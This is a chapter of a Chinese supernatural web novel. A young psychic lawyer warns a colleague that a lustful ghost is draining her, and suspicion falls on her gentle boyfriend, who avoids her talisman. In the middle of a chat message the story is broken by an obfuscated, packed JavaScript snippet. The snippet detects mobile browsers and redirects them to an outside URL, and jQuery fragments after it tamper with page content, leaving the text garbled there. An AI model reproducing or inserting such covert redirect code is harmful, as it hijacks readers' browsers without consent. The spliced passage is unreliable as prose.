办公室外发生的事情,周漫漫并不知道,此刻她正靠着椅背上闭目养神。听到敲门声后,喊了一声:“进来!”
看到王副总身边跟着的人,愣了一瞬,“你是阮夏?”
这个小美女近来在律所是风云人物,来上班第一天就跳过了实习期,成为正式员工。前不久还打赢了官司,听说连案子都是王副总帮忙抢的。
周漫漫不明白王副总为什么会带她来自己这里,“王总,你们来找我有事吗?”
王林海伸手给她引荐:“这就是我给你找的大师。”
周漫漫皱眉,“王总,我是真的是身体不适,真的不需要找大师。”更何况,这小姑娘一看就是刚大学毕业的样子,就算是装也装不了大师啊!
王林海:“阮大师,真的很厉害的。你先让她给你看看。”
周漫漫无语,平时高高在上的王副总,一脸推销神棍的谄媚模样,简直是没眼看。她起身赶人:“王总,我真的还有事要……”
“你幼年丧父丧母,和弟弟相依为命。可是他去年也死了。你在十八岁那年有过大难,应该是车祸,手术之后活了下了。你命中无子,应该是摘除了子宫。”阮夏不疾不徐开口,“还要我继续说吗?”
周漫漫由狐疑震惊,眼神飘向王林海。见王林海也是一脸震惊,看样子不是他说的。
“我发誓,她说的我也是刚知道。”王林海摆手,“我说过,大师很厉害的,你们慢慢谈。我就先走了。”
周漫漫坐回凳子:“你接着说。”
阮夏知道这还是没有完全信任自己,她坐到对面,继续道:“你个性要强,凭借着毅力咬牙走到这一步。你谈过两次恋爱,都非正缘。就目前看来,你应该又有了一个新男朋友。”
“是。”周漫漫点头。她最近是经人介绍,认识了一个新男朋友。她说的都是准的,如果说前面可以听说,但是她不能生孩子,这件事,只有她自己还有男朋友知道。
不是从哪里听说的,难道真是她看出来的?
阮夏看着她脸色继续道,“你最近觉得身体不适,不是你以为的睡眠质量不好,而是遇到了一个男色鬼。”
周漫漫悚然一惊,男色鬼?
阮夏继续道,“你睡觉醒来很累,而且越睡越累。应该会做噩梦,梦到结婚,还会梦到一直和别人做不可描述的事。”
周漫漫摸摸鼻子。这些话从一个小自己一轮的小姑娘嘴里说出来,真的是太尴尬了,感觉自己污染了对方幼小纯洁的心灵。
“现在不是尴尬的时候,再过一段时间,你的精气神被他给吸走完,就彻底没救了。”阮夏瞅一眼她微红的脸颊,提醒道。
“那,我应该怎么办?”周漫漫此刻是彻底信了,做梦这件事她没有告诉过任何人。阮夏能说的这么准,肯定不是瞎猜的。
阮夏拿出一张护身符递给她:“你先拿着,具体情况我需要到你家里去看看才知道。”
“好。”周漫漫小心翼翼地接过放进口袋。不知道是不是她的错觉,她接过符纸的瞬间浑身一轻,胸口压着堵着的感觉突然就散了。
是夜。
周漫漫回家打开门就闻到了一股饭香。
一个男人穿着围裙端着菜从厨房走出来:“哎呀,你真有口福,我刚做好,你就卡着点回来了。”
周漫漫换好鞋,伸开双臂,向往常一样想要一个拥抱。
杨胜南宠溺地回抱,却在刚碰到她时,像触电一样后退了一步。
“你怎么了?”周漫漫看着她的动作,不解地问。
杨胜南深吸一口气,皱着鼻子:“围裙上全是油烟味,别把你衣服弄脏了。乖,去洗个澡换个衣服。”
“好好好。”周漫漫转向卧室。等她再出来的时候,所有的菜和汤已经摆好了。
两个人分坐在桌子两边,有说有笑,吃的很开心。
杨胜南试探性地摸了摸女朋友的手。周漫漫以为他在害羞,主动回握:“我有件事想跟你说,你晚上留下来吧。”
阮夏说的那么可怕,就算有护身符,她也不敢一个人待在家里。
“你知道的,我希望把那些美好的回忆留到婚后。”杨胜南拉起她的手,在手背上亲了一口。
周漫漫年纪不小,又谈过两次恋爱,却从没遇到像杨胜南这样纯情的男生,忍不住逗他:“你想跟我结婚,怎么不求婚啊?你求婚,我立刻就答应你。”
杨胜南似乎不好意思了,脸颊微微泛红。
“好了,逗你的。”周漫漫笑开来,忍不住摸了摸他的脸,“让你留下来只是想让你陪陪我,我晚上有些害怕。”
“好,我留下来陪你。”杨胜南说完,收拾桌上碗筷去厨房洗刷,期间还端出来一盘洗好的水果。
周漫漫看着外面黑漆漆的天空,心里莫名涌起一股不好的感觉。她把水果放下,回到卧室,找到自己今天穿的大衣,摸出口袋里的符纸,放到自己睡衣口袋里,这才有些安心。
杨胜南收拾完,又去洗漱了一下,才坐到沙发上。他刚坐下挨着周漫漫的一瞬间,整个人再次像被电到一样弹射起来。
“怎么了?”周漫漫感觉到自己好像也被什么轻微地烫了一下。
杨胜南脸色有些不好,勉强扯出来一抹笑:“我,我突然想起来我没有拿换洗的衣服,得先回家一趟。”
“那你早去早回,我有事情和你说。”周漫漫知道他有洁癖,可是她一个人睡觉真的有些害怕。
房间里只剩下她一个人了,空旷的客厅只有电视里的声音。周漫漫有些心神不宁,她从口袋里拿出护身符给自己壮胆。结果掏出来的一瞬间,就发现了不对劲。
黄灿灿的三角符纸像是被水洗过又晒干了一样,颜色发白,连朱砂字迹都有些模糊。
她心里一跳,连忙拿出手机拍照发给阮夏:【阮夏,这护身符怎么变这样了?】
阮夏:【怎么还没睡觉就变这样了。下班后你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528211|203615||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还遇到了什么人?符纸在挡灾后会变成这样。】
周漫漫下班直接从办公室地下车库开到家里地下车库,除了男朋友,其他什么人都没遇到。
“不会的。”周漫漫下意识就摇头。男友对她又体贴又温柔,每天都来家里给她做饭。在她累的时候还会帮她吹头发,甚至连指甲也会帮她剪。怎么可能会伤害她!
杨胜南拿着一些换洗衣服和洗漱用品回来了,还带来了干净的床单被罩。
“次卧没有收拾过,我先简单收拾一下,你先去睡。我在隔壁陪着你,你就不会害怕了。”
周漫漫跟在他身后走进次卧,看他利索地收拾床。
杨胜南真的是个不错的对象,工作稳定,性格温柔,会做饭,会做家务,还整洁干净,没有一点不良嗜好。如果符纸变浅不是因为他的话,跟这样的人结婚,一定会很幸福。
周漫漫见他收拾完,试探地伸出手臂,却见他在自己挨过去的前一刻,歪着身子躲避开来,脸上挂着和往常一样宠溺的笑。
“手上脏,等我先洗漱。”
今天的杨胜南有些奇怪。他的确是有洁癖,但是能让她高兴的事,他都会迁就。即使事后换掉衣服重新洗一遍,也不会拒绝一个简单的拥抱。
饭桌上他们还十指交握,可是转身却连个拥抱都不愿意。
想到什么,周漫漫心跳漏了一拍。吃饭的时候,她身上没有符纸!
杨胜南洗漱完出来,没有挨着她坐,而是坐在侧边的单人沙发上。周漫漫起身,想坐到他身边,他却先一步起身,到冰箱里拿了一罐饮料,直接坐到了餐桌旁。
他打开饮料喝了一口,“对了,你之前说有事要和我说,什么事?”
“不是什么大事,我有点想吃排骨了,明天想让你做排骨给我吃。不过我现在开始困了,先去睡了。”周漫漫脚尖一转返回自己的卧室。
关上房门,她心跳慢慢失速。
他在躲避接触!
她跟男友在一起快两个月了。她身体不舒服,算起来也的确是将近一个月了。
天哪!难不成真的是他!
他们两个是在一个国外遇到的。那时候她刚刚打赢了一场官司,拿了一笔丰厚的报酬和奖金,于是和公司请了年假,去了国外旅游。
杨胜南也是出国旅游,一起的正是她以前的一个同学。他乡遇故知,三个人相见甚欢,交换了联系方式,一起在当地玩了几天。回来后,同学隔三差五跟她联系,甚至询问她的喜好。她追问之下才知道,杨胜南对她一见钟情,想要追求她。
周漫漫空窗许久,但是身边也不乏优秀的追求者,所以对于这种年下的奶狗弟弟没有什么感觉。直到有一次她生病住院,对方送汤送饭,彻夜不眠照顾她,让她有了一点改观。
她坦白自己不能生育的事实,他也不在乎,说只想和她在一起。于是两个人正式确立了关系。
如今看来,他是有预谋接近自己的。